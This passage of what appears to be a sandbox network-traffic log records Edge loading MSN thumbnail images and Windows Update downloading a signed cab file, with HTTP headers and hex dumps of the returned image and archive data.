2024-11-28 14:18:02 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=402945 Expires: Tue, 03 Dec 2024 06:13:47 GMT Date: Thu, 28 Nov 2024 14:18:02 GMT Connection: close
2024-11-28 14:18:02 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49894	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:02 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:02 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=213041 Expires: Sun, 01 Dec 2024 01:28:43 GMT Date: Thu, 28 Nov 2024 14:18:02 GMT Connection: close
2024-11-28 14:18:02 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49891	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:02 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:02 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=111560 Expires: Fri, 29 Nov 2024 21:17:22 GMT Date: Thu, 28 Nov 2024 14:18:02 GMT Connection: close
2024-11-28 14:18:02 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49896	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=klwzB+LF78y8vvw&MD=F1fwkkPx HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 14:18:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: b7f4681f-73e2-4aa8-aa28-644bb9b73412 MS-RequestId: 06351e81-4d60-481f-ae2a-90874b31e9d7 MS-CV: Xow5nH+Rdka5V64W.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 14:18:03 GMT Connection: close Content-Length: 30005
2024-11-28 14:18:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-28 14:18:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49904	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:05 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:06 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQB Last-Modified: Mon, 18 Nov 2024 16:00:05 GMT X-Source-Length: 116349 X-Datacenter: eastus X-ActivityId: d5afbdab-f330-4b6b-9080-ebcfb1965bf6 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 116349 Cache-Control: public, max-age=351827 Expires: Mon, 02 Dec 2024 16:01:53 GMT Date: Thu, 28 Nov 2024 14:18:06 GMT Connection: close
2024-11-28 14:18:06 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 14:18:06 UTC	16384	IN	Data Raw: 92 8a d0 1c cf 51 57 14 54 bc d8 cc e1 ba b0 3b 9e a1 03 e6 76 ea 0b 24 2e 60 ce d3 ba 6f 54 75 40 ec e8 cf 15 95 71 5c ff 00 51 bd 56 7a 8d ea 8b 0b 2f 17 4a 8d 55 ad bd 42 52 f1 d5 3b 02 d9 77 15 4b 36 2c 59 5b fd c8 80 75 36 8f 35 b5 f1 50 65 2c 73 48 76 85 26 d5 7f 70 47 93 cf 8f 00 9a 5e 78 00 d8 f8 95 ce c2 d0 5d 19 09 a4 9b c1 bf bf e3 d5 75 b2 60 15 18 a4 37 8c fc 61 42 ce d3 1b 4c 97 17 70 d0 7e 25 70 7b 89 7f c3 af 43 b5 db f6 fd b5 21 ec 6c c1 b1 3a ca bf 4e 3a 83 c8 12 2c 1c b8 cd 71 60 a5 9c a3 82 c9 27 8a a7 fd 46 31 13 25 1e a7 65 d9 b1 8d e7 d9 40 7b ae 8d 0b 94 b2 63 65 8b f3 cd eb 45 f1 45 d7 77 19 0f 01 c2 ca b1 71 f3 e2 55 72 e5 1a c9 b7 2d db 65 51 64 e4 3e ea 29 e0 96 10 a4 61 2b 54 75 1b c2 5a ca 62 a2 53 1d 54 64 f1 29 2b ea 11 af Data Ascii: QWT;v$.`oTu@q\QVz/JUBR;wK6,Y[u65Pe,sHv&pG^x]u`7aBLp~%p{C!l:N:,q`'F1%e@{ceEEwqUr-eQd>)a+TuZbSTd)+
2024-11-28 14:18:06 UTC	2662	IN	Data Raw: f2 f4 34 50 39 0d c4 eb c8 30 6f a0 85 38 c3 69 98 1d 75 f2 57 4b 43 86 b4 ce 9c 0e e3 ef 64 37 13 5b 72 66 6c 23 8f 50 52 f7 3d 07 c0 a4 00 6c 92 27 a4 fe 10 99 d2 5b 14 b6 66 6f 6f 13 a7 92 67 0a 2c 1b b7 b9 f6 3e 49 ec 5a 06 84 de 34 bf f9 4a f5 1d 14 ea 32 01 6c f9 c4 03 f7 b2 8a 9d a6 d3 23 a4 44 78 ab be 99 20 02 40 eb 7d 7a 70 e1 2b 5a c6 b5 c4 92 0e d1 a0 07 8a be 49 13 45 30 c9 df a7 d3 f1 5b 49 d8 1e 9a 8d fc fe 8a d9 8e 9a e9 1a 0f 6e 1f 82 8b 88 b7 f5 de 78 74 4f 95 8a 8a fe 9b 89 99 b7 d3 5d 47 15 87 10 67 43 56 bf 54 c6 c6 c2 7a ce fc 7d b6 52 b8 92 48 22 26 dd 40 3f 1f 25 56 f0 2a 44 4d c7 ec 7a 47 de eb 00 1b 80 2f a5 93 d2 67 43 1f 1f 00 b1 cc 2d 92 23 41 1d 0c f5 fa 27 7d 77 0a 1c d2 d9 20 c8 8f 21 f7 e2 a3 90 e7 41 2e 22 76 09 da d7 1d Data Ascii: 4P90o8iuWKCd7[rfl#PR=l'[foog,>IZ4J2l#Dx @}zp+ZIE0[InxtO]GgCVTz}RH"&@?%V*DMzG/gC-#A'}w !A."v
2024-11-28 14:18:06 UTC	16384	IN	Data Raw: f3 2f f6 0e 07 21 d8 e8 31 ca d2 1d c2 fe 29 28 78 33 25 d3 b6 b1 bc db aa ee b7 13 e4 88 04 41 d4 02 76 1a 91 c2 74 55 ff 00 6f 04 00 e9 b3 af 24 3a 47 4b c4 09 9d 95 af 3a d9 b0 f6 ce 33 fd c1 f3 80 88 68 f7 f3 f1 5d 47 f6 6f f4 e0 18 27 59 eb 31 56 86 24 6c 15 67 f6 59 0b 88 c7 14 6a 2e 6d 79 22 60 4c fb ad 57 97 c6 f5 48 8e 12 ec 54 96 89 b3 bd a2 75 e8 02 88 e4 1a cf 5d 06 cb a4 7b 17 35 c0 12 44 83 7d 74 be a3 43 d2 62 54 ff 00 b6 10 d0 48 e5 32 5c e0 37 70 24 11 70 7d a1 37 e6 87 7b 0e 12 38 d1 3d 5b f9 28 64 cd 86 84 7b 7d fc 57 a4 38 4d 4d 71 dd c6 64 0b 34 4d ec 3c c4 15 49 d8 f2 63 24 36 e3 fe a1 2e b8 9b 8d 06 f0 3c d2 5e 64 fb 7d 47 c0 e6 df 57 b4 89 3a 9f 7d 92 82 ca a9 b9 9b db 51 ef 2b a0 fe d3 26 42 25 d3 43 b9 81 86 88 b4 47 5b 6b ec a6 Data Ascii: /!1)(x3%AvtUo$:GK:3h]Go'Y1V$lgYj.my"`LWHTu]{5D}tCbTH2\7p$p}7{8=[(d{}W8MMqd4M<Ic$6.<^d}GW:}Q+&B%CG[k
2024-11-28 14:18:06 UTC	16384	IN	Data Raw: 34 73 3c bb 98 0e 00 9b c6 c9 bb 6f ed f4 2e c7 37 aa 20 89 04 87 4c 6e a5 cb 97 16 32 f7 e2 39 2a 73 60 93 14 98 22 6d 77 47 c0 ab ca 7c 52 c6 eb e7 a9 1b e5 95 da fa 31 06 c5 af 04 d9 c7 f0 89 95 0e 3c 85 8f 61 04 fc c3 8e ea d7 6a df 5d e6 a8 73 58 da 60 ff 00 ca 4b 40 03 53 33 2a ae 5c 79 3b 79 6b 88 93 ca 7a d2 08 3f 5b 2b c5 ca 2f 7d eb e4 5d 98 cf 74 9c 8e 89 0e 2d e6 8d 0c cc 4c 8d a6 64 5d 59 70 2d c6 79 e7 43 41 69 92 34 a9 a4 c8 80 4a ac ec 2f 6e 31 92 0b 98 49 04 88 81 1f 11 ee 54 b9 32 39 ae 6b 64 3a 86 08 30 62 e3 4b 9b 8e 29 3c d5 53 ff 00 85 12 0c 04 3c 63 c8 41 24 0a 5c d2 2d 00 9a 60 c6 f0 34 4f 4b 32 8c 65 ac 03 21 ab 99 ce d6 99 0d 88 b1 b0 53 63 cb 8d d9 31 bb d2 6b 9d e9 de a3 00 1a 60 5e e2 0d b5 d6 60 a8 dd 46 1a e9 02 5a 4d c7 30 Data Ascii: 4s<o.7 Ln29s`"mwG\|R1<aj]sX`K@S3\y;ykz?[+/}]t-Ld]Yp-yCAi4J/n1IT29kd:0bK)<S<cA$\-`4OK2e!Sc1k`^`FZM0
2024-11-28 14:18:06 UTC	7952	IN	Data Raw: 82 35 1c 3d b7 48 ec b3 f2 c1 90 4e b1 4e d3 fe 7c 96 09 72 4b 5d b7 c9 77 44 38 f2 3f d5 39 1c e2 1e d6 e9 a8 36 bc f4 30 61 59 1e a5 db a0 f9 84 da e3 43 a7 97 b2 84 ba 87 bc 41 35 8d 76 3e e7 49 4e cc 95 06 07 4c 01 03 7d 4e 81 54 fe 15 50 26 50 67 6a ec 5d c1 04 d4 63 98 89 83 a4 cc 81 a1 b1 9d 55 8f 48 35 d6 02 ce 02 92 7e 66 8e 20 ea e1 a0 91 b2 b2 1d 01 d6 f1 e8 3e ee ae 3b 06 4c 5d b3 df 93 94 38 72 9d 5c 61 dc b0 38 8b 6b 30 34 53 2f 26 d6 f7 a5 f2 24 ac a4 dc de 9e 3f 44 32 90 5c d7 3a a9 9e 60 20 c7 d3 82 87 1e 3c 87 23 0b 07 34 55 ec d8 f7 8b 74 2a 67 e5 73 f3 0d 1c e3 54 b8 c9 26 04 5f 8d a0 2b c3 2b 18 fa c3 c8 a4 11 43 45 e0 08 22 5d 63 57 b1 f8 28 72 71 d9 2b 6a fd 47 bd 15 58 7d 17 35 94 bc 9b b0 34 58 c9 1a b8 41 16 3b 15 7f bb 6e 6c f8 Data Ascii: 5=HNN\|rK]wD8?960aYCA5v>INL}NTP&Pgj]cUH5~f >;L]8r\a8k04S/&$?D2\:` <#4Ut*gsT&_++CE"]cW(rq+jGX}54XA;nl
2024-11-28 14:18:06 UTC	16384	IN	Data Raw: f8 65 ad 2c 9d 0e d9 98 dc d3 91 e3 94 3a 22 f3 3a c0 88 9b 02 0f 45 cb 71 0d 79 73 26 1c 1c 27 70 d7 4d be fa 24 39 1f 55 9d 00 55 a1 e5 8e 80 6e 4c eb d5 6e 16 bf 23 83 1a d2 67 f0 d7 c7 64 92 e2 dc 9b dd 7d 10 ef 6a 2e f6 4c c6 cf 51 ce cb 4c 32 96 37 52 f2 66 67 ac ff 00 2b 68 b3 b7 f5 1b 97 13 da e0 1a 1e 18 4c 81 36 83 22 67 cf d9 54 7e 42 1e 5a 43 29 61 74 16 e8 49 17 8f b8 57 7b 6e f1 9d b6 12 c6 30 b9 f9 0b 89 2f 32 d8 00 4c c4 1b ee 14 cd 4a 9b 5f 77 2a c6 2a 8a b5 84 dd 51 d6 ff 00 61 8f 1b 3b 5c 40 17 3c 92 2e 4e 80 ea 22 ce bd a0 91 e6 a9 76 23 0d 45 af 34 37 d3 87 b4 b9 c6 ab 4c 92 22 36 b7 18 55 b2 65 f5 de d7 ba 91 53 62 da 72 88 1f 4b 23 03 bb 76 0c d5 d4 ed 99 12 3a 49 3a 78 68 b0 50 6b c5 c5 f2 6f a6 f9 65 39 27 2b 54 51 c9 cf 91 ce 6d Data Ascii: e,:":Eqys&'pM$9UUnLn#gd}j.LQL27Rfg+hL6"gT~BZC)atIW{n0/2LJ_w**Qa;\@<.N"v#E47L"6UeSbrK#v:I:xhPkoe9'+TQm
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: c6 5c d7 07 07 58 53 37 1a 1f 05 d2 ed 1e 0f 74 c1 8f 90 b9 b4 3e 64 82 00 3c bd 6f 61 ee b8 dd ef 72 d3 99 e5 ad 73 49 26 a6 bf f5 01 7d ec 3a 0d 96 09 ca 7e 4a af f1 4f f7 34 69 71 be a4 79 35 0e 8d 26 0d e0 80 66 27 42 40 80 61 66 2f 91 a4 83 7d 38 ef f0 d5 49 dd 77 6f 7e 2e df 1b 5a 68 a0 4d 4d 89 73 64 40 31 a0 1e 26 e5 43 8f b8 8c 61 96 a4 6f f5 8d 35 88 5d 15 2e 2b ed d7 6b d0 9a 5d cb c3 18 f9 9a e0 35 2e e0 62 05 fd b5 f7 49 87 11 c9 4b 1c ea 03 8c 4b ae 20 cc 90 06 e9 3d 43 06 06 f7 b6 b6 95 45 cf 71 63 79 ae 63 7b ee 25 42 52 77 9f f8 52 3b 98 fb 4c ce 2d 60 6b a2 aa 4b 8b 48 60 6e 80 98 9f 87 45 b9 31 e6 ee 4d 21 cc 3e 89 10 d8 83 4c 44 58 40 e8 64 fb 23 07 7a d2 48 ca eb bd cd 64 80 22 96 cd c6 83 7d 2c 0e ea cf fb 1c cc c0 1c 70 e5 6d 70 5b Data Ascii: \XS7t>d<oarsI&}:~JO4iqy5&f'B@af/}8Iwo~.ZhMMsd@1&Cao5].+k]5.bIKK =CEqcyc{%BRwR;L-`kKH`nE1M!>LDX@d#zHd"},pmp[
2024-11-28 14:18:07 UTC	7952	IN	Data Raw: d5 56 1c d7 58 88 93 ad cf 13 65 e2 06 2a 5d ff 00 94 79 0e 2b 2f e9 fd c9 3f 23 9b 5a 71 4b 6f 92 e7 c5 25 45 9c 1f db f5 0c 49 f4 cc 71 96 ff 00 95 23 c3 5b 88 4e fe 9d a2 f3 04 c5 bd cf 92 6c 4d 8c 6d 13 24 17 03 d4 c4 c2 67 b0 65 76 06 e8 df e6 ed 9a 06 a7 c8 4a d2 ee 7e b9 f4 46 48 eb 7f b1 6e 46 63 c0 c7 1c 78 dc c1 cd 8f 1d 6d 87 40 74 3a 64 48 03 ad 8e 8b 81 dd 39 ce 21 e6 d5 b8 be da 99 6b 7f 22 bb 9f ec 0e 57 31 85 ed 10 e7 b8 e3 00 c9 0d 2d 14 d4 01 22 60 ee 4b 94 7d 9f 6b 8f bb c8 e0 fa c3 31 92 39 41 3a 03 bc 40 e6 bf 11 65 cf e3 6b c7 e3 52 95 62 ee be 7f b9 bc be e9 52 38 6f 8b 8d 22 64 6e 4c c5 bc d1 8b b6 cb 9b 33 70 c4 38 87 44 98 06 96 93 63 f4 e2 ba bd ef fa ec fd ab 9e f3 4e 46 30 87 97 35 df ae 20 45 9c 48 9b c0 f8 28 bb 6e e0 b3 b8 Data Ascii: VXe*]y+/?#ZqKo%EIq#[NlMm$gevJ~FHnFcxm@t:dH9!k"W1-"`K}k19A:@ekRbR8o"dnL3p8DcNF05 EH(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49905	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:06 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:06 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=206950 Expires: Sat, 30 Nov 2024 23:47:16 GMT Date: Thu, 28 Nov 2024 14:18:06 GMT Connection: close
2024-11-28 14:18:06 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 